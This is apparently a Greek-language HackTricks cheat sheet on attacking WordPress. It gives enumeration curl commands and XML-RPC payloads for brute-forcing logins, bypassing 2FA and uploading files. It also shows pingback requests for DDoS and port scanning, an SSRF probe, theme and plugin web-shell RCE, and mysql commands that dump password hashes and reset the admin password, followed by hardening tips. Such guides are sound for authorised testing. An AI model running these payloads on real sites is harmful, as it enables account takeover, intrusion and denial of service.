Wordpress

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (Ειδικός Red Team του HackTricks AWS)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Χρησιμοποιήστε το Trickest για να δημιουργήσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο. Αποκτήστε πρόσβαση σήμερα:

Βασικές Πληροφορίες

Τα αρχεία που ανεβάζονται πηγαίνουν στο: http://10.10.10.10/wp-content/uploads/2018/08/a.txt Τα αρχεία θεμάτων μπορούν να βρεθούν στο /wp-content/themes/, οπότε αν αλλάξετε κάποιο php του θέματος για να πάρετε RCE πιθανόν θα χρησιμοποιήσετε αυτήν τη διαδρομή. Για παράδειγμα: Χρησιμοποιώντας το θέμα twentytwelve μπορείτε να έχετε πρόσβαση στο αρχείο 404.php στο: /wp-content/themes/twentytwelve/404.php Μια άλλη χρήσιμη διεύθυνση URL θα μπορούσε να είναι: /wp-content/themes/default/404.php

Στο wp-config.php μπορείτε να βρείτε τον κωδικό ρίζας της βάσης δεδομένων.

Προεπιλεγμένες διαδρομές σύνδεσης για έλεγχο: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Κύρια Αρχεία WordPress

  • index.php

  • Το αρχείο license.txt περιέχει χρήσιμες πληροφορίες όπως η έκδοση του WordPress που είναι εγκατεστημένη.

  • Το wp-activate.php χρησιμοποιείται για τη διαδικασία ενεργοποίησης μέσω email κατά την εγκατάσταση ενός νέου ιστότοπου WordPress.

  • Φάκελοι σύνδεσης (ενδέχεται να έχουν μετονομαστεί για να κρυφτούν):

    • /wp-admin/login.php

    • /wp-admin/wp-login.php

    • /login.php

    • /wp-login.php

  • Το xmlrpc.php είναι ένα αρχείο που αντιπροσωπεύει μια λειτουργία του WordPress που επιτρέπει τη μετάδοση δεδομένων με HTTP ως μηχανισμό μεταφοράς και XML ως μηχανισμό κωδικοποίησης. Αυτός ο τύπος επικοινωνίας έχει αντικατασταθεί από το REST API του WordPress.

  • Ο φάκελος wp-content είναι ο κύριος κατάλογος όπου αποθηκεύονται τα πρόσθετα και τα θέματα.

  • Το wp-content/uploads/ είναι ο κατάλογος όπου αποθηκεύονται τα αρχεία που ανεβάζονται στην πλατφόρμα.

  • Το wp-includes/ είναι ο κατάλογος όπου αποθηκεύονται τα βασικά αρχεία, όπως πιστοποιητικά, γραμματοσειρές, αρχεία JavaScript και widgets.

  • Το wp-sitemap.xml Στις εκδόσεις του Wordpress 5.5 και μεταγενέστερες, το Wordpress δημιουργεί ένα αρχείο XML χάρτη ιστότοπου με όλες τις δημόσιες αναρτήσεις και δημόσια ερωτήσιμα είδη αναρτήσεων και ταξινομίες.

Μετά την εκμετάλλευση

  • Το αρχείο wp-config.php περιέχει πληροφορίες που απαιτούνται από το WordPress για τη σύνδεση στη βάση δεδομένων, όπως το όνομα της βάσης δεδομένων, τον κεντρικό υπολογιστή της βάσης δεδομένων, το όνομα χρήστη και τον κωδικό πρόσβασης, τα κλειδιά και τα αλάτια πιστοποίησης και το πρόθεμα του πίνακα βάσης δεδομένων. Αυτό το αρχείο ρύθμισης μπορεί επίσης να χρησιμοποιηθεί για την ενεργοποίηση της λειτουργίας DEBUG, η οποία μπορεί να είναι χρήσιμη για την επίλυση προβλημάτων.

Δικαιώματα Χρηστών

  • Διαχειριστής

  • Συντάκτης: Δημοσιεύει και διαχειρίζεται τις δικές του και τις δημοσιεύσεις άλλων

  • Συγγραφέας: Δημοσιεύει και διαχειρίζεται τις δικές του δημοσιεύσεις

  • Συνεισφέρων: Γράφει και διαχειρίζεται τις δημοσιεύσεις του αλλά δεν μπορεί να τις δημοσιεύσει

  • Συνδρομητής: Περιηγείται στις δημοσιεύσεις και επεξεργάζεται το προφίλ του

Παθητική Απαρίθμηση

Λήψη Έκδοσης WordPress

Ελέγξτε αν μπορείτε να βρείτε τα αρχεία /license.txt ή /readme.html

Μέσα στο κώδικα πηγής της σελίδας (παράδειγμα από https://wordpress.org/support/article/pages/):

  • grep

curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • Αρχεία σύνδεσης CSS

  • Αρχεία JavaScript

Λήψη Προσθέτων

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Λήψη Θεμάτων

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

Χρησιμοποιήστε το Trickest για να δημιουργήσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας. Αποκτήστε πρόσβαση σήμερα:

Ενεργή απαρίθμηση

Πρόσθετα και Θέματα

Πιθανότατα δεν θα μπορέσετε να βρείτε όλα τα πρόσθετα και θέματα που είναι δυνατόν. Για να ανακαλύψετε όλα αυτά, θα πρέπει να επιχειρήσετε ενεργά να κάνετε Brute Force μια λίστα με πρόσθετα και θέματα (ελπίζουμε ότι υπάρχουν αυτοματοποιημένα εργαλεία που περιέχουν αυτές τις λίστες).

Χρήστες

ID Brute

Μπορείτε να λάβετε έγκυρους χρήστες από έναν ιστότοπο WordPress με Brute Force στα αναγνωριστικά χρηστών:

curl -s -I -X GET http://blog.example.com/?author=1

Εάν οι απαντήσεις είναι 200 ή 30X, αυτό σημαίνει ότι το id είναι έγκυρο. Εάν η απάντηση είναι 400, τότε το id είναι μη έγκυρο.

wp-json

Μπορείτε επίσης να δοκιμάσετε να λάβετε πληροφορίες σχετικά με τους χρήστες με ερώτημα:

curl http://blog.example.com/wp-json/wp/v2/users

Ένα άλλο /wp-json/ σημείο πρόσβασης που μπορεί να αποκαλύψει πληροφορίες σχετικά με τους χρήστες είναι:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Σημειώστε ότι αυτό το τέλος μόνο αποκαλύπτει χρήστες που έχουν κάνει μια δημοσίευση. Θα παρέχονται μόνο πληροφορίες σχετικά με τους χρήστες που έχουν ενεργοποιήσει αυτό το χαρακτηριστικό.

Επίσης, σημειώστε ότι /wp-json/wp/v2/pages μπορεί να διαρρεύσει διευθύνσεις IP.

Απαρίθμηση ονομάτων σύνδεσης

Κατά τη σύνδεση στο /wp-login.php το μήνυμα είναι διαφορετικό αν το συγκεκριμένο όνομα χρήστη υπάρχει ή όχι.

XML-RPC

Αν το xml-rpc.php είναι ενεργό, μπορείτε να εκτελέσετε μια επίθεση brute-force στα διαπιστευτήρια ή να το χρησιμοποιήσετε για να εκτελέσετε επιθέσεις DoS σε άλλους πόρους. (Μπορείτε να αυτοματοποιήσετε αυτήν τη διαδικασία χρησιμοποιώντας αυτό για παράδειγμα).

Για να δείτε αν είναι ενεργό, δοκιμάστε να έχετε πρόσβαση στο /xmlrpc.php και να στείλετε αυτό το αίτημα:

Έλεγχος

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Βίαιη Δοκιμή Διαπιστεύσεων

wp.getUserBlogs, wp.getCategories ή metaWeblog.getUsersBlogs είναι μερικές από τις μεθόδους που μπορούν να χρησιμοποιηθούν για τη βίαιη δοκιμή διαπιστεύσεων. Αν μπορείτε να βρείτε οποιαδήποτε από αυτές, μπορείτε να στείλετε κάτι σαν:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

Το μήνυμα "Λανθασμένο όνομα χρήστη ή κωδικός πρόσβασης" μέσα σε μια απάντηση κώδικα 200 θα πρέπει να εμφανίζεται εάν τα διαπιστευτήρια δεν είναι έγκυρα.

Χρησιμοποιώντας τα σωστά διαπιστευτήρια μπορείτε να μεταφορτώσετε ένα αρχείο. Στην απάντηση θα εμφανιστεί η διαδρομή (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Υπάρχει επίσης ένας ταχύτερος τρόπος για τη δοκιμή δύναμης διαπιστεύσεων χρησιμοποιώντας το system.multicall καθώς μπορείτε να δοκιμάσετε αρκετές διαπιστεύσεις με τον ίδιο αίτημα:

Παράκαμψη 2FA

Αυτή η μέθοδος είναι για προγράμματα και όχι για ανθρώπους, και παλιά, επομένως δεν υποστηρίζει 2FA. Έτσι, αν έχετε έγκυρες διαπιστεύσεις αλλά η κύρια είσοδος προστατεύεται από 2FA, μπορείτε να εκμεταλλευτείτε το xmlrpc.php για να συνδεθείτε με αυτές τις διαπιστεύσεις παρακάμπτοντας το 2FA. Σημειώστε ότι δεν θα μπορείτε να εκτελέσετε όλες τις ενέργειες που μπορείτε να κάνετε μέσω της κονσόλας, αλλά ενδέχεται να μπορείτε ακόμα να φτάσετε σε RCE όπως το εξηγεί ο Ippsec στο https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS ή σάρωση θυρών

Αν μπορείτε να βρείτε τη μέθοδο pingback.ping μέσα στη λίστα μπορείτε να κάνετε το Wordpress να στείλει ένα αυθαίρετο αίτημα σε οποιονδήποτε κόμβο/θύρα. Αυτό μπορεί να χρησιμοποιηθεί για να ζητήσετε από χιλιάδες ιστότοπους Wordpress να έχουν πρόσβαση σε μια τοποθεσία (έτσι προκαλείται ένα DDoS σε αυτήν την τοποθεσία) ή μπορείτε να το χρησιμοποιήσετε για να κάνετε το Wordpress να σαρώσει κάποιο εσωτερικό δίκτυο (μπορείτε να υποδείξετε οποιαδήποτε θύρα).

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Αν λάβετε το faultCode με τιμή μεγαλύτερη από 0 (17), σημαίνει ότι η θύρα είναι ανοιχτή.

Ρίξτε μια ματιά στη χρήση της system.multicall στην προηγούμενη ενότητα για να μάθετε πώς να καταχραστείτε αυτήν τη μέθοδο για να προκαλέσετε DDoS.

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

Απορροφητικότητα του wp-cron.php

Αυτό το αρχείο υπάρχει συνήθως υπό τη ρίζα του ιστότοπου του Wordpress: /wp-cron.php Όταν αυτό το αρχείο προσπελαύνεται, εκτελείται ένα "βαρύ" ερώτημα MySQL, οπότε θα μπορούσε να χρησιμοποιηθεί από επιτιθέμενους για να προκαλέσουν ένα DoS. Επίσης, από προεπιλογή, το wp-cron.php καλείται κάθε φορά που φορτώνεται μια σελίδα (οποτεδήποτε ένας πελάτης ζητά οποιαδήποτε σελίδα Wordpress), το οποίο σε ιστότοπους με υψηλή επισκεψιμότητα μπορεί να προκαλέσει προβλήματα (DoS).

Συνιστάται να απενεργοποιήσετε το Wp-Cron και να δημιουργήσετε έναν πραγματικό cronjob μέσα στον κεντρικό υπολογιστή που θα εκτελεί τις απαιτούμενες ενέργειες σε τακτικά χρονικά διαστήματα (χωρίς να προκαλεί προβλήματα).

/wp-json/oembed/1.0/proxy - SSRF

Δοκιμάστε να προσπελάσετε https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net και ο ιστότοπος Worpress μπορεί να σας κάνει μια αίτηση.

Αυτή είναι η απάντηση όταν δεν λειτουργεί:

SSRF

Αυτό το εργαλείο ελέγχει αν η μέθοδος: pingback.ping και το μονοπάτι /wp-json/oembed/1.0/proxy υπάρχουν και αν υπάρχουν, προσπαθεί να τα εκμεταλλευτεί.

Αυτόματα Εργαλεία

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

Χρησιμοποιήστε το Trickest για να δημιουργήσετε εύκολα και να αυτοματοποιήσετε ροές εργασίας με τα πιο προηγμένα εργαλεία της παγκόσμιας κοινότητας. Αποκτήστε πρόσβαση σήμερα:

Αποκτήστε πρόσβαση με τον παρακάτω τρόπο

Περισσότερο από μια πραγματική επίθεση, αυτό είναι ένα είδος περιέργειας. Στο CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man μπορείτε να αντιστρέψετε 1 bit από οποιοδήποτε αρχείο wordpress. Έτσι, μπορείτε να αντιστρέψετε τη θέση 5389 του αρχείου /var/www/html/wp-includes/user.php για να μετατρέψετε τη λειτουργία NOT (!) σε NOP.

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Πάνελ RCE

Τροποποίηση ενός αρχείου php από το θέμα που χρησιμοποιείται (απαιτούνται διαπιστευτήρια διαχειριστή)

Εμφάνιση → Επεξεργαστής Θέματος → Πρότυπο 404 (στα δεξιά)

Αλλάξτε το περιεχόμενο για ένα php shell:

Αναζητήστε στο διαδίκτυο πώς μπορείτε να έχετε πρόσβαση σε αυτήν την ενημερωμένη σελίδα. Σε αυτήν την περίπτωση πρέπει να έχετε πρόσβαση εδώ: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

Μπορείτε να χρησιμοποιήσετε:

use exploit/unix/webapp/wp_admin_shell_upload

Εκμετάλλευση Προσθέτου RCE

Προσθέτο PHP

Μπορεί να είναι δυνατή η μεταφόρτωση αρχείων .php ως πρόσθετο. Δημιουργήστε την πίσω πόρτα php χρησιμοποιώντας για παράδειγμα:

Στη συνέχεια προσθέστε ένα νέο πρόσθετο:

Μεταφορτώστε το πρόσθετο και πατήστε Εγκατάσταση Τώρα:

Κάντε κλικ στο Προχωρήστε:

Πιθανώς αυτό δεν θα κάνει τίποτα εμφανώς, αλλά αν πάτε στα Μέσα, θα δείτε την κέλυφό σας που μεταφορτώθηκε:

Αποκτήστε πρόσβαση και θα δείτε το URL για να εκτελέσετε την αντίστροφη κέλυφο:

Μεταφόρτωση και ενεργοποίηση κακόβουλου προσθέτου

Αυτή η μέθοδος περιλαμβάνει την εγκατάσταση ενός κακόβουλου πρόσθετου που είναι ευάλωτο και μπορεί να εκμεταλλευτεί για την απόκτηση μιας ιστοσελίδας. Αυτή η διαδικασία πραγματοποιείται μέσω του πίνακα ελέγχου του WordPress ως εξής:

  1. Απόκτηση Προσθέτου: Το πρόσθετο αποκτάται από πηγή όπως το Exploit DB όπως εδώ.

  2. Εγκατάσταση Προσθέτου:

  • Πλοηγηθείτε στον πίνακα ελέγχου του WordPress, στη συνέχεια πηγαίνετε σε Πίνακας Ελέγχου > Πρόσθετα > Μεταφόρτωση Προσθέτου.

  • Μεταφορτώστε το αρχείο zip του προσθέτου που λήφθηκε.

  1. Ενεργοποίηση Προσθέτου: Μόλις το πρόσθετο εγκατασταθεί με επιτυχία, πρέπει να ενεργοποιηθεί μέσω του πίνακα ελέγχου.

  2. Εκμετάλλευση:

  • Με το πρόσθετο "reflex-gallery" εγκατεστημένο και ενεργοποιημένο, μπορεί να εκμεταλλευτεί καθώς είναι γνωστό ότι είναι ευάλωτο.

  • Το πλαίσιο Metasploit παρέχει ένα εκμεταλλεύσιμο για αυτήν την ευπάθεια. Με τη φόρτωση του κατάλληλου μοντέλου και την εκτέλεση συγκεκριμένων εντολών, μπορεί να δημιουργηθεί μια συνεδρία meterpreter, παρέχοντας μη εξουσιοδοτημένη πρόσβαση στην ιστοσελίδα.

  • Σημειώνεται ότι αυτή είναι μόνο μία από τις πολλές μεθόδους για την εκμετάλλευση μιας ιστοσελίδας WordPress.

Το περιεχόμενο περιλαμβάνει οπτικά βοηθήματα που απεικονίζουν τα βήματα στον πίνακα ελέγχου του WordPress για την εγκατάσταση και ενεργοποίηση του προσθέτου. Ωστόσο, είναι σημαντικό να σημειωθεί ότι η εκμετάλλευση ευπαθειών με αυτόν τον τρόπο είναι παράνομη και αναθέτεται χωρίς κατάλληλη εξουσιοδότηση. Αυτές οι πληροφορίες πρέπει να χρησιμοποιούνται υπεύθυνα και μόνο σε νόμιμο πλαίσιο, όπως η δοκιμή διείσδυσης με ρητή άδεια.

Για περισσότερες λεπτομερείς οδηγίες ελέγξτε: https://www.hackingarticles.in/wordpress-reverse-shell/**

Μετά την Εκμετάλλευση

Εξαγωγή ονομάτων χρηστών και κωδικών πρόσβασης:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

Αλλαγή κωδικού πρόσβασης διαχειριστή:

mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Προστασία WordPress

Τακτικές Ενημερώσεις

Βεβαιωθείτε ότι το WordPress, τα πρόσθετα και τα θέματα είναι ενημερωμένα. Επίσης, επιβεβαιώστε ότι η αυτόματη ενημέρωση είναι ενεργοποιημένη στο αρχείο wp-config.php:

define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Επίσης, εγκαθιστώντας μόνο αξιόπιστα πρόσθετα και θέματα WordPress.

Πρόσθετα Ασφαλείας

Άλλες Συστάσεις

  • Αφαιρέστε τον προεπιλεγμένο χρήστη admin

  • Χρησιμοποιήστε ισχυρούς κωδικούς πρόσβασης και 2FA

  • Ελέγξτε περιοδικά τα δικαιώματα των χρηστών

  • Περιορίστε τις προσπάθειες σύνδεσης για να αποτρέψετε επιθέσεις Brute Force

  • Μετονομάστε το αρχείο wp-admin.php και επιτρέψτε την πρόσβαση μόνο εσωτερικά ή από συγκεκριμένες διευθύνσεις IP.

Χρησιμοποιήστε το Trickest για εύκολη δημιουργία και αυτοματοποίηση ροών εργασίας με τα πιο προηγμένα εργαλεία κοινότητας στον κόσμο. Αποκτήστε πρόσβαση σήμερα:

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated